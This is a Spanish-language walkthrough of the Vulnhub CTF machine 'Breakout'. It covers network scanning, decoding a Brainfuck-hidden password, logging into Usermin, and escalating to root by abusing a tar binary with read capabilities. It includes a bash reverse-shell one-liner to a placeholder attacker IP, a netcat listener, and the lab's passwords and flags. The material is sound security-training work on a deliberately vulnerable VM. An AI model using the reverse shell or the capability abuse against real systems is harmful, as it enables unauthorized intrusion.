Walkthrough

FASE INICIAL

Empezamos descargando la máquina desde Vulnhub, una vez descargada lo que haremos será importarla en VirtualBox/VMWare/UTM o similares, la inicializamos y nos pasamos a nuestra máquina Kali linux.

Una vez en la máquina Kali, abrimos la terminal y con un **arp-scan -I eth0 --localnet** escaneamos nuestra red. (Tenemos que tener en cuenta que ambas máquinas deben tener configuradas las redes con tipo Bridged*). Veremos que aparecerán varias direcciones IP, nos quedaremos con aquella que esté en la misma máquina virtual que nosotros.

Una vez conocida la IP de la máquina “víctima”, haremos un ping para verificar la conectividad, esto además nos dará información sobre qué tipo de máquina es gracias al TTL*. Vemos que TTL = 64, por lo que es una máquina Linux.

FASE DE ESCANEO

Usaremos la herramienta nmap* y realizaremos un escaneo de todos los puerto con el siguiente comando:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IpMaquinaVictima -oG nombreFichero

Con este comando indicamos que, usando nmap, queremos escanear los todos los puertos existentes (-p-), de entre estos, descubrir solamente los que estén abiertos (--open), con el tipo de escaneo TCP SYN port Scan (-sS)*, indicando que quieres tramitar paquetes no más lentos que 5000 paquetes por segundo (--min-rate 5000), con triple verbose (-vvv) para que a medida que vaya detectando puertos abiertos los vaya reportando por consola, que no aplique resolución DNS (-n), ya que ralentiza el escaneo, desactivaremos la detección de hosts, asumiendo que este está activo, ya que el ping anterior ha sido exitoso (-Pn), y lo exportaremos en formato grepeable (formato que permite filtrar con Regex) al fichero correspondiente (-oG).

(Esta configuración permite un escaneo rápido, sigiloso y violento que no detecta falsos positivos/negativos.)

Cuando ha finalizado nuestro escaneo, mostramos el contenido que nos ha reportado con cat nombreFichero y vemos que tenemos los puertos 80,139,445,10000 y 20000 abiertos, esto ya nos indica bastantes cosas, sabemos que el puerto 80 corresponde a un servidor web http, esto quiere decir que si pongo la ip de la máquina en mi buscador, voy a tener acceso a una página web, hacemos esto y nos aparece una página predeterminada de Apache, que nos indica que la máquina víctima tiene un sistema operativo Debian.

A pesar de tener una pagina Apache por defecto, debemos profundizar más para averiguar si hay directorios ocultos, si se aplica virtual hosting, etcétera.

FASE DE PROFUNDIZACIÓN

Uno de los primeros pasos de esta fase, aunque sencillo, será inspeccionar el código fuente en busca de elementos extraños o que nos puedan llamar la atención como pueden ser comentarios que hayan dejado los desarrolladores. En este caso si bajamos hasta el final del código fuente encontraremos lo siguiente:

```
!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-
]>>++++++++++++++++.++++.>>++++++++++++++++++.----.<++++++++++.----------.>---------
--.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

-->
```

Esto ya de primeras nos llama la atención porque nos está compartiendo un acceso, en principio encriptado, para desencriptarlo vamos a usar una página llamada dcode brainfuck*

Una vez desencriptado, obtenemos la siguiente cadena, que podría ser una potencial contraseña: **.2uqPEfj3D<P'a-3**

De momento no parece que haya mucho más que hacer por aquí así que vamos a profundizar en los demás puertos que nos ha reportado el escaneo.

El puerto 10000 y el 20000 nos indican que tiene un http corriendo, por lo que accedemos a ese puerto a través de ipMáquina:puerto

Al acceder por el puerto 10000, nos lleva a una página que nos indica lo siguiente:

This web server is running in SSL mode. Try the URL https://192.168.1.41:10000/ instead.

Accedemos a la URL indicada y nos aparece una página web con un formulario de login. Antes de seguir explorando por esta “rama”, vamos a visitar la web que tenemos en el puerto 20000 para ver si nos da alguna pista sobre este misterioso login.

La página corriendo en el puerto 20000 es muy similar a la del puerto 10000/ con la diferencia de que en la primera nos aparece “Webmin” y en la segunda “Usermin”.

De primeras lo que podemos hacer es probar combinaciones de usuarios comunes (admin, administrator, webmin, usermin, etc) para ver si alguno tiene como contraseña la secuencia que hemos obtenido anteriormente. Para no tener que probarlos manualmente y para poder

comprobar si existen usuarios que no sean los comunes, usaremos una herramienta llamada Enum4linux* con el parámetro -a. Esto nos reporta un posible usuario "**cyber**"
Usamos el usuario "cyber", junto con la contraseña anterior y funciona correctamente.
Al entrar tenemos una página aparentemente normal, si investigamos un poco en las opciones que tenemos, vemos al final de esta un icono de una terminal, el cual al hacer clic en él, nos abre una terminal en el navegador.

Tratamos de ver el contenido del directorio en el que estamos inicialmente y aparece un archivo .txt llamado "**user.txt**", el cual probamos a leer con "cat" y nos devuelve "**3mp!r3{You_Manage_To_Break_To_My_Secure_Access}**", lo cual indica que hemos encontrado una de las flags que buscábamos, la de usuario.

FASE DE ESCALADO DE PRIVILEGIOS

En esta fase buscamos obtener la flag del usuario privilegiado ("root"), para ello vamos a intentar acceder a la máquina "real", no a la terminal que nos han dado. Utilizaremos una herramienta llamada "netcat"* para enviarnos a nosotros mismos una "Reverse Shell"* que nos de acceso a la máquina víctima. Con netcat nos pondremos en escucha por el puerto 443 con el comando **nc -nlvp 443** y en otra terminal aplicaremos un comando para que nos de esa reverse shell, con una búsqueda rápida en Google llegamos a una página que nos afirma que el código correspondiente para esto es:

bash -i >&/dev/tcp/ipMaquinaAtacante/443 0>&1

Sustituimos la ip anterior por la de nuestra máquina "atacante", ejecutamos este comando en la terminal web que tenemos y vemos que en la terminal que teníamos escuchando, ahora aparece nuestro usuario como "**cyber@breakout**", lo que significa que lo hemos conseguido. Ahora debemos escalar privilegios.

Para escalar, primero comprobamos los comandos comunes como "sudo -l", que sirve para mostrar los privilegios del usuario actual en el sistema, pero no funciona en esta máquina. A continuación probamos con "getcap -r / 2>/dev/null", que nos busca recursivamente en todo el sistema de archivos (desde el directorio raíz /) los archivos que tienen capacidades especiales asignadas.

Nos devuelve lo siguiente:

/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep

Si nos fijamos en la primera línea vemos que el usuario "cyber" (nosotros), puede usar la herramienta"tar", que se usa para manipular archivos comprimidos.

Como no tenemos más información, navegamos entre los directorios del sistema operativo en busca de alguna pista o señal que nos ayude a continuar.

Retrocediendo a la raíz con “cd ..” e investigando en los directorios disponibles, encontramos, dentro de la carpeta “var”, un directorio llamado “backups”, al cual si accedemos y listamos su contenido con “ls -la” (importante usar -la para mostrar ficheros/directorios ocultos), encontramos un archivo llamado “**.old_pass.bak**” (el . al principio indica que estaba oculto). Vemos también que el propietario de este archivo es el usuario root, por lo que de primeras no podremos abrirlo, sin embargo, cuando listamos las capabilities del usuario cyber, descubrimos que podíamos usar la herramienta “tar”, la cual nos servirá de ayuda para leer el contenido de ese archivo.

Aplicamos el comando “**/tar -cf clave.tar /var/backups/.old_pass.bak**” desde el directorio /home/cyber que es donde está la herramienta “tar”. El comando crea un archivo tar llamado clave.tar, que contiene el archivo .old_pass.bak ubicado en /var/backups/. Es decir, está archivando el archivo .old_pass.bak en un tarball llamado clave.tar.

Ahora descomprimimos el archivo que hemos creado (clave.tar) con “**tar xvf clave.tar**” y nos da un directorio var, entramos y vemos otro directorio llamado backups, entramos y listamos con “ls -la” y vemos el mismo fichero que queríamos visualizar antes (.old_pass.bak), pero esta vez estamos nosotros (el usuario cyber) como propietarios, por lo que ahora si le hacemos un “cat” podremos ver su contenido.

Y efectivamente, esto nos reporta la siguiente contraseña: **Ts&4&YurgtRX(=~h**

Con esto lo que vamos a hacer es tratar de convertirnos en el usuario root con “**su root**” ponemos la contraseña anterior y se queda colgado, probamos a hacer un comando sencillo como “**whoami**”, que nos dice qué usuario somos ahora mismo y nos devuelve “root”, por lo que ha funcionado pero para poder acceder a la flag deberemos hacer un pequeño tratamiento de la TTI* con el comando “**script /dev/null -c bash**”, lo que inicia una nueva sesión de bash utilizando el comando script para grabar todo lo que suceda, pero al redirigir la salida a /dev/null, efectivamente no se guarda ni muestra nada. Es útil cuando se desea ejecutar una sesión de bash sin que se registren los resultados o salidas.

Y ya tenemos nuestra terminal normal y corriente, una vez conseguido esto, como ya somos usuarios root, nos movemos a su directorio (/root) y dentro encontramos un archivo .txt llamado “**rOOt.txt**”, para el cuál mostramos su contenido con “**cat rOOt.txt**” y nos da la Flag que buscábamos, la de “root”:

3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

Contenido de apoyo:

El Pingüino de Mario
Medium

Leyenda:

Comandos usados
Referencias a la máquina víctima

Passwords

Flags obtenidas

Las palabras con * están definidas en el documento de definiciones